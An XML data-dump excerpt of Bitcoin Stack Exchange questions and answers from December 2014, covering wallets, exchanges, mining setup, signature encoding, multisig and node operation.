  <row Id="34026" PostTypeId="2" ParentId="31951" CreationDate="2014-12-13T18:50:38.067" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://bitstamp.net/&quot; rel=&quot;nofollow&quot;&gt;Bitstamp&lt;/a&gt; is reputable and generally accepted in the context you've mentioned.&lt;/p&gt;&#xA;" OwnerUserId="19097" LastActivityDate="2014-12-13T18:50:38.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34027" PostTypeId="2" ParentId="19842" CreationDate="2014-12-13T19:01:21.393" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://play.google.com/store/apps/details?id=com.mycelium.wallet&amp;amp;hl=en&quot; rel=&quot;nofollow&quot;&gt;Mycelium&lt;/a&gt; is a well-reviewed Android wallet that seems to meet the criteria you've described.&lt;/p&gt;&#xA;" OwnerUserId="19097" LastActivityDate="2014-12-13T19:01:21.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34030" PostTypeId="1" CreationDate="2014-12-14T00:41:25.170" Score="0" ViewCount="1404" Body="&lt;p&gt;Okay, I am trying to follow this instruction guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.distrogeeks.com/install-cgminer-3-7-2-ubuntu/&quot; rel=&quot;nofollow&quot;&gt;http://www.distrogeeks.com/install-cgminer-3-7-2-ubuntu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the 20th step did not work because it could not find the server. I downloaded it from AMD themselves except not version 5.0, but version 6.0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I go up to the 24th step and when I typed that in it said, &quot;cp: target 'ADL_SDK/' is not a directory&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then installed it and ran it, but then it gave me this message every few seconds or so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;KnC spi: Can not open SPI device /dev/spidev1.0: No such file or directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help, I really want to mine some bitcoins and also the similar questions did not help. &lt;/p&gt;&#xA;" OwnerUserId="21516" LastEditorUserId="21516" LastEditDate="2014-12-14T00:50:08.487" LastActivityDate="2015-05-14T14:22:03.733" Title="I am trying to get cgminer on Ubuntu 14.04 and the Guide is troubling me" Tags="|cgminer|linux|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34031" PostTypeId="2" ParentId="24948" CreationDate="2014-12-14T02:35:07.357" Score="1" Body="&lt;p&gt;In short the answer is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;InScript length                               : VarInt (1-9 bytes)&#xA;PushData operation of R/S/Hash_all/DER bytes  : OP_PUSH (1-9 bytes)&#xA;DER sequence type byte                        : 0x30&#xA;DER sequence length                           : 0x44-0x46&#xA;DER integer type                              : 0x02&#xA;DER integer length                            : 0x20-0x21&#xA;32 R bytes, left padded with 0x00 IF leftmost byte &amp;gt;= 0x80 - hence varying lengths above.&#xA;DER integer type                              : 0x02&#xA;DER integer length                            : 0x20-0x21&#xA;32 S bytes, left padded with 0x00 IF leftmost byte &amp;gt;= 0x80 - hence varying lengths above.&#xA;Sighash_All type byte                         : 0x01&#xA;PushData operation of publickey bytes         : OP_PUSH (1-9 bytes)&#xA;PubKey version/type byte                      : 0x04&#xA;Public key in 64 bytes of data - X and Y 32 bytes each&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Answer taken from here:&#xA;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=653313.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=653313.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After looking at it becomes pretty obvious that DER was a mistake on Satoshis part and something provided to him by OpenSSL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean why encode unsigned integers as signed - then pad them to make them unsigned again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why these sequence and length definitions when we already know the length from the push byte op - why DER encode at all when its ALWAYS 32 bytes R followed by 32 bytes S?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clearly its pretty silly.&lt;/p&gt;&#xA;" OwnerUserId="14475" LastEditorUserId="14475" LastEditDate="2014-12-14T02:54:07.153" LastActivityDate="2014-12-14T02:54:07.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34033" PostTypeId="1" CreationDate="2014-12-14T16:56:24.337" Score="0" ViewCount="58" Body="&lt;p&gt;I'm looking for a library similar to &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;this bitcoin one&lt;/a&gt; but that works with scrypt based coins. &lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2014-12-18T23:31:49.150" Title="Is the a library for generating signatures and transactions for scrypt coins?" Tags="|transactions|signature|scrypt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34034" PostTypeId="1" CreationDate="2014-12-14T18:40:11.053" Score="-1" ViewCount="42" Body="&lt;p&gt;very new, so this is probably silly but:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to buy some bitcoin on an auction, but the exchange rate on MultiBit is very slightly dissimilar to the rate offered by the seller on the acution. Will this interfere with the transaction on the side of my wallet?&lt;/p&gt;&#xA;" OwnerUserId="21520" LastActivityDate="2014-12-14T23:31:20.597" Title="BTC = $ ... Does this have to match the sum I'm buying for at an auction?" Tags="|multibit|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34035" PostTypeId="2" ParentId="21513" CreationDate="2014-12-14T18:55:44.963" Score="0" Body="&lt;p&gt;The &lt;a href=&quot;https://bitsquare.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitsquare&lt;/a&gt; project describes a system for the decentralized exchange of bitcoin for national (fiat) currencies.  The &lt;a href=&quot;https://bitsquare.io/whitepaper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;whitepaper&lt;/a&gt; goes into the details, but the gist is that the bitcoin being bought is first locked into a multi-signature (&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3718/what-are-multi-signature-transactions&quot;&gt;multsig&lt;/a&gt;) address and then the fiat payment is made directly from the buyer to the bitcoin seller using a traditional payment method (eg. bank transfer).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The three signatures on the multisig address are the buyer, seller and an independent arbitrator, pre-selected by both, which only becomes involved if there is a dispute about whether or not the non-bitcoin side has been settled as agreed.  Both buyer and seller also pay into the bitcoin multisig address a security deposit that is used to pay for active arbitration in case of a dispute. &lt;/p&gt;&#xA;" OwnerUserId="21521" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-12-14T18:55:44.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34036" PostTypeId="1" AcceptedAnswerId="34037" CreationDate="2014-12-14T20:47:33.387" Score="3" ViewCount="639" Body="&lt;p&gt;I looked at &lt;a href=&quot;http://cryptocoinjs.com/modules/currency/coinstring/&quot; rel=&quot;nofollow&quot;&gt;coinstring.js&lt;/a&gt; but it looks like it only validates simple BTC addresses (&lt;code&gt;1&lt;/code&gt;-prepended addresses).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h3&gt;isValid(base58str, version)&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;Validates whether the address string or wallet import format string is valid.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;base58str&lt;/code&gt;: A &lt;code&gt;string&lt;/code&gt; that is either the wallet import format or public address.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;version&lt;/code&gt;: Is an integer representing the version or &lt;code&gt;Buffer&lt;/code&gt;. See below for more information.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Returns a &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a JS library that can validate BIP16 &lt;a href=&quot;https://en.bitcoin.it/wiki/Pay_to_script_hash&quot; rel=&quot;nofollow&quot;&gt;P2SH&lt;/a&gt; addresses.&lt;/p&gt;&#xA;" OwnerUserId="21135" LastEditorUserId="21135" LastEditDate="2014-12-14T23:25:02.923" LastActivityDate="2014-12-14T23:25:02.923" Title="Is there a JavaScript library for validating P2SH addresses?" Tags="|multi-signature|p2sh|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34037" PostTypeId="2" ParentId="34036" CreationDate="2014-12-14T21:17:33.527" Score="1" Body="&lt;p&gt;You can use the library you've linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;isValid(address, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;isValid(address, 5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-12-14T21:24:49.553" LastActivityDate="2014-12-14T21:24:49.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34038" PostTypeId="1" CreationDate="2014-12-14T22:58:06.870" Score="1" ViewCount="988" Body="&lt;p&gt;So I accidentally lost my electrum seed and password, but I still have the wallet file, so I was wondering if there is a way to recover the original seed from the encrypted one? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my password might have been pretty short in which case brute forcing it might work, is there any software that can do this?&lt;/p&gt;&#xA;" OwnerUserId="7174" LastActivityDate="2023-07-17T23:54:49.250" Title="Is there a way to recover the original electrum seed from the encrypted one?" Tags="|electrum|lost-bitcoins|seed|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34039" PostTypeId="2" ParentId="32672" CreationDate="2014-12-14T23:12:05.643" Score="1" Body="&lt;p&gt;I know you posted this a month ago, but i want to give my 2 cents worth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If any device has several power connectors, USE THEM.  The engineers who designed the product didn't just have extra connectors lying around they needed to use.  They are there for an obvious reason. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The C1 pulls over 800 watts.  That's double the current draw of the S3 (which is perfectly OK because it hashes at 1 TB).  Multiple connectors lower the amount of current that flows through each connector (800 watts divided by 4 connectors -OR- 800 watts / 8 connectors).  That means using all 8 connectors will keep the wires and connectors from getting hot.  HEAT is BAD.  Heat is energy lost, efficiency lost, and an increase in your power bill because part of the energy that was going to power the miner is now heating the room.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most brand name Power supplies like corsair and EVGA can accommodate 8 pcie connectors.  Its not a big deal.  They usually have 2 PCI-e connectors on at least 2 of the cables.  Follow me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I recommend the EVGA 1300 G2 80+ Gold power supply for almost all asics.  They are less than $180 and in stock at Amazon, and it comes standard with 8 PCI-e connectors.  AND, since its rated at 1300 watts, you will be operating it well below its maximum output, which means it wont get HOT.  HEAT is BAD. Heat is electricity LOST.  It will cost you less to run your miner with this power supply.  Plus, next year you might decide to overclock and you will have no worries about your power supply. PLUS plus this PSU has a 10 year REPLACEMENT warranty.   Need I say more??  I can go on and on about this incredibly good deal...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you already have a perfectly good 1000 watt or so power supply, by all means use it. Or two 500 watt, or four 250 watt, or ...    I like using one PSU simply because its simple that way.  Statistically, you are twice as likely to have a failure using 2 PSU as opposed to using 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just got my first C1 yesterday and it is a great piece of work.  I already ordered another one.  Bitmain Antminer has come a long way&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mark&lt;/p&gt;&#xA;" OwnerUserId="21522" LastActivityDate="2014-12-14T23:12:05.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34040" PostTypeId="2" ParentId="34034" CreationDate="2014-12-14T23:31:20.597" Score="1" Body="&lt;p&gt;You shouldn't experience any technical difficulties, receiving/sending bitcoin that you bought for $30 or $3000 won't matter to your wallet. Your MultiBit wallet will just tell you its best approximation for the USD value of your bitcoin, which may not be the same price that you got the bitcoin for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Nick said, make sure you buy the bitcoins at a reasonable price. Do your research and you won't get scammed. Compare prices to places like &lt;a href=&quot;http://www.coindesk.com/price/&quot; rel=&quot;nofollow&quot;&gt;CoinDesk&lt;/a&gt;, &lt;a href=&quot;https://www.cryptsy.com/markets/view/BTC_USD&quot; rel=&quot;nofollow&quot;&gt;Cryptsy&lt;/a&gt;, and &lt;a href=&quot;https://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;coinmarketcap&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-14T23:31:20.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34041" PostTypeId="2" ParentId="32237" CreationDate="2014-12-14T23:51:32.053" Score="26" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If a person sends a transaction to another person, and Bitcoin is a peer-to-peer application, how will the transaction get to the rest of the Bitcoin community? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Think of it like how gossip would spread. There are a bunch of people (nodes), and when one of them knows something, they tell it to the few (8 or so) people they are near (connected with), and then those people tell a few more people the message that was told to them, and then... Eventually everyone knows about the original information (transaction). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when we say bitcoin is peer-to-peer, we mean it's just nodes that have internet connections (on port 8333 usually) with other peers. Not even necessarily the one you're sending the coins to!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does everyone have the same blockchain?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;After peers exchange their information (and validate that all transactions and blocks follow the protocol rules), they store it. Since all of the bitcoin transactions from the beginning of the bitcoin block chain are needed to validate everything that has taken place, essentially all full nodes store the same data (about 27.5 GB of pure block chain data as of now). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Does every system know about every other system in the network? If so, how?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No need to know about every other system on the network, each node just knows about the 8 or so nodes that it is connected to!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-12-14T23:51:32.053" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34042" PostTypeId="2" ParentId="14057" CreationDate="2014-12-15T00:09:29.980" Score="2" Body="&lt;p&gt;I think the reason you might be getting confused is that there are really two types of multisig, raw multisig and P2SH (pay-to-script-hash) multisig. P2SH multisig is basically just hashing the actual scriptPubKey desired and putting the scriptPubKey in the scriptSig. This stack exchange questions explains them in more detail: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23893/what-are-the-limits-of-m-and-n-in-m-of-n-multisig-addresses/28092#28092&quot;&gt;What are the limits of m and n in m-of-n multisig addresses?&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm also trying to understand if a 3 of 3 transaction is supported as well.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can do m-of-3 multisig transactions with both raw multisig and P2SH multisig.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the meaning of the parameters &quot;2&quot; in addmultisigaddress&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The number provided is the m in the m-of-n. So if you want a 1-of-2, you do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addmultisigaddress 1 '[&quot;1xy..&quot;, &quot;1Jm...&quot;]' &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The BIP11 (accepted) proposal you mentioned just made raw multisig a standard type of transaction that is recognized and forwarded on by standard clients. BIP16 (&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&lt;/a&gt;) proposes the P2SH addresses, which allow for much shorter &lt;code&gt;scriptPubKey&lt;/code&gt;s and support more types of multisig (e.g. 5-of-9, which you can't easily do with raw multisig because m-of-n multisigs with n &gt; 3 are considered non-standard, as shown in the link in the first paragraph). &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-01-14T16:18:06.110" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="34043" PostTypeId="1" CreationDate="2014-12-15T01:35:25.943" Score="1" ViewCount="76" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11104/what-is-the-database-for&quot;&gt;This question&lt;/a&gt; tells what each of the files in the bitcoin directory are, but it doesn't explain the structure of the databases used. What is the table structure (columns, data type, etc) for each of the tables that the bitcoin client maintains?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2014-12-15T01:35:25.943" Title="What is the format of the databases that are used in the core bitcoin client?" Tags="|bitcoin-core-development|" AnswerCount="0" CommentCount="1" ClosedDate="2014-12-22T12:37:53.297" ContentLicense="CC BY-SA 3.0" />
  <row Id="34044" PostTypeId="1" AcceptedAnswerId="34215" CreationDate="2014-12-15T01:54:08.040" Score="2" ViewCount="1969" Body="&lt;p&gt;I would like to generate a Bitcoin and Dogecoin (qt) bootstrap file on my ubuntu machine. Is there any way to do this? I know it's possible with Windows but I'm on Ubuntu.&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="21523" LastActivityDate="2014-12-29T05:22:12.940" Title="How do I generate a bootstrap file on Ubuntu?" Tags="|ubuntu|linux|dogecoin|bootstrap.dat|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34045" PostTypeId="1" CreationDate="2014-12-15T06:00:53.493" Score="1" ViewCount="750" Body="&lt;p&gt;I'd like to use the bitcoin client to examine some of the inner workings of bitcoin-qt (non-invasively, using gets and lists mostly). Is it possible to do this alongside the standard executable? I don't really want to download and build everything from source.&lt;/p&gt;&#xA;" OwnerUserId="21468" LastActivityDate="2015-07-17T09:40:36.203" Title="Is it possible to get bitcoin-cli without having to build all bitcoin source?" Tags="|bitcoin-core|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34047" PostTypeId="1" CreationDate="2014-12-15T06:26:42.777" Score="9" ViewCount="12099" Body="&lt;p&gt;Wanted to see if anyone here knew if you are able to work with Coinbase to create a &quot;Business/Corporate&quot; level Accounts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Meaning that when signing up and linking a bank account to your Coinbase account you could choose to use your Business bank account, and verify using an EIN instead of a personal SSN? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help in advance.&lt;/p&gt;&#xA;" OwnerUserId="21527" LastActivityDate="2017-06-11T19:38:54.963" Title="Does Coinbase have the ability to create a &quot;Business&quot; Account?" Tags="|coinbase.com|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34048" PostTypeId="2" ParentId="34045" CreationDate="2014-12-15T07:13:18.687" Score="1" Body="&lt;p&gt;Yes. Go to Bitcoin-Qt -&gt; Help -&gt; Debug Window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help -&gt; Command Line Options gives a list of all options.&lt;/p&gt;&#xA;" OwnerUserId="21468" LastActivityDate="2014-12-15T07:13:18.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34049" PostTypeId="2" ParentId="2376" CreationDate="2014-12-15T07:59:12.550" Score="3" Body="&lt;p&gt;R and S are visible in each of the tx inputs.&#xA;You can see them already extracted on this site. I also provide the Z value.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://2xoin.com/tx/711b6457b4b2b51e56b94ab541a75d02908648a9de26a3c0ce5b2c3b10573d4e&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2xoin.com/tx/711b6457b4b2b51e56b94ab541a75d02908648a9de26a3c0ce5b2c3b10573d4e&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;See the bitcoin protocol specification for more info about the byte order.&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Protocol_specification#tx&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Below is an example of a TX input hex,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;4830450220657912a72d3ac8169fe8eaecd5ab401c94fc9981717e3e6dd4971889f785790c022100ed3bf3456eb76677fd899c8ccd1cc6d1ebc631b94c42f7c4578f28590d651c6e0141049b5506df53ff5eff7dc553131043bb993f55d2b0fddd866984f593777023c8226920ff05747ccb963f0fe459cb217d502e57dcf8afec786c3dcee4d1558f85fa&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Now separated to make it easier to read,&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;48&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;3045&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0220&#xA;(The Hex 20 says the next 32 bytes are the R value)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;657912a72d3ac8169fe8eaecd5ab401c94fc9981717e3e6dd4971889f785790c&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0221 (The hex 21 says the next 33 bytes are the S value)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;00ed3bf3456eb76677fd899c8ccd1cc6d1ebc631b94c42f7c4578f28590d651c6e&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0141 (The hex 41 says the next 65 bytes are the public key)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;049b5506df53ff5eff7dc553131043bb993f55d2b0fddd866984f593777023c8226920ff05747ccb963f0fe459cb217d502e57dcf8afec786c3dcee4d1558f85fa&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="21130" LastEditorUserId="21130" LastEditDate="2020-12-27T15:45:28.180" LastActivityDate="2020-12-27T15:45:28.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="34051" PostTypeId="2" ParentId="21434" CreationDate="2014-12-15T09:15:27.347" Score="1" Body="&lt;p&gt;I have a library in PHP for bitcoin transactions - &lt;a href=&quot;https://github.com/Bit-Wasp/bitcoin-lib-php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Bit-Wasp/bitcoin-lib-php&lt;/a&gt;. It's mainly focussed on Bitcoin, and there are one or two places where hardcoded constants make dealing with altcoins tricky. That said, they are minor parts of the code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Only thing that comes to mind is if you're generating private keys just make sure you encode them to WIF's using BitcoinLib::base58_encode_checksum('privkey byte' . 'privkey hex'), passing the respective private key version byte, as the library will DEFAULT to using [address byte]+0x80 when generating addresses. This is how bitcoin does it, but it's not compatible with some coins, because they just use the first hex which gives the prefix they want)&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-12-15T09:15:27.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34052" PostTypeId="2" ParentId="20104" CreationDate="2014-12-15T09:43:08.350" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;What does it mean &quot;push data operations&quot;?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Push data operations are when a script pushes a byte vector into the stack. Examples are pushing signatures, public keys, or scripts. It excludes all script opcodes apart from OP_PUSHDATA1, OP_PUSHDATA2, OP_PUSHDATA3. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;OP_CHECKMULTISIG seems to be allowed but does not look like &quot;push data&quot; to me.&#xA;  OP_CHECKMULTISIG is an opcode, however, since it's actually contained in a byte vector. You are pushing a full script to the stack, instead of just pushing the opcode.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, if you look at a P2SH scriptSig:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...signatures... {scriptLength}{script}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You'll see that OP_CHECKMULTISIG is contained within {script} instead of being directly executed by whatever is parsing the scriptSig. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-12-15T09:43:08.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34053" PostTypeId="2" ParentId="34044" CreationDate="2014-12-15T10:03:42.100" Score="0" Body="&lt;p&gt;It should be as easy as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cd /home/USER/.bitcoin/blocks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tar -cf bootstrap.dat blk*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For dogecoin just change the directory to match&lt;/p&gt;&#xA;" OwnerUserId="19036" LastActivityDate="2014-12-15T10:03:42.100" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34054" PostTypeId="1" CreationDate="2014-12-15T10:10:59.260" Score="-2" ViewCount="1075" Body="&lt;p&gt;I am curious to know if it is possible to easily buy $5 of Bitcoin and sell it a few minutes later, trying to make mini profits for fun, or are the waiting times etc... Too long?&lt;/p&gt;&#xA;" OwnerUserId="21531" LastEditorUserId="5406" LastEditDate="2014-12-26T09:59:44.830" LastActivityDate="2021-01-25T15:09:17.490" Title="Is it possible to buy and sell Bitcoin within minutes?" Tags="|trade|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34055" PostTypeId="2" ParentId="34030" CreationDate="2014-12-15T10:25:17.977" Score="1" Body="&lt;p&gt;It sounds like you were not in the right directory. Modify this if needed and see if it helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cp /home/USER/include/* /home/USER/cgminer-3.7.2/ADL_SDK&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just replace USER with your username. If you are running as root (not recommended) then change /home/USER/ to /root/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that still says directory not found then I don't think you extracted the package from AMD to the right directoy&lt;/p&gt;&#xA;" OwnerUserId="19036" LastActivityDate="2014-12-15T10:25:17.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34056" PostTypeId="2" ParentId="16724" CreationDate="2014-12-15T14:14:33.373" Score="1" Body="&lt;p&gt;You might ind useful these quote from &lt;em&gt;configure&lt;/em&gt; docs&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sourceware.org/autobook/autobook/autobook_85.html&quot; rel=&quot;nofollow&quot;&gt;Enabling static libraries for a package which consists of only dynamic modules makes no sense, and the package author would probably have decided to ignore such requests&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sourceware.org/autobook/autobook/autobook_86.html#SEC86&quot; rel=&quot;nofollow&quot;&gt;... `AC_DISABLE_STATIC'&#xA;These macros tell libtool to not try and build either shared or static libraries respectively. libtool will always try to build something however, so even if you turn off static library building in 'configure.in', building your package for a target host without shared library support will fallback to building static archives.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, check your code for presence of particular macro in configure.in files across subtree. it may have been decided to prevent making it static.&lt;/p&gt;&#xA;" OwnerUserId="1390" LastActivityDate="2014-12-15T14:14:33.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34057" PostTypeId="1" CreationDate="2014-12-15T14:20:06.663" Score="1" ViewCount="2138" Body="&lt;p&gt;Need help fixing this error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error trying to send payments with RPC sendmany {&quot;code&quot;:-8,&quot;message&quot;:&quot;Invalid parameter, duplicated address&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I a running a NOMP mining pool that has payment job breaking because there are two same wallet address payments in the same sendmany job. I need to limit amount sent to minimize chance of having the payment in the same transaction for a while until I get rid of this so that the payments go thru. Or, do something so that this is ignored. &lt;/p&gt;&#xA;" OwnerUserId="21534" LastEditorUserId="21534" LastEditDate="2014-12-15T16:02:38.077" LastActivityDate="2015-04-29T05:07:41.317" Title="Error trying to send payments with RPC sendmany" Tags="|json-rpc|payment|" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
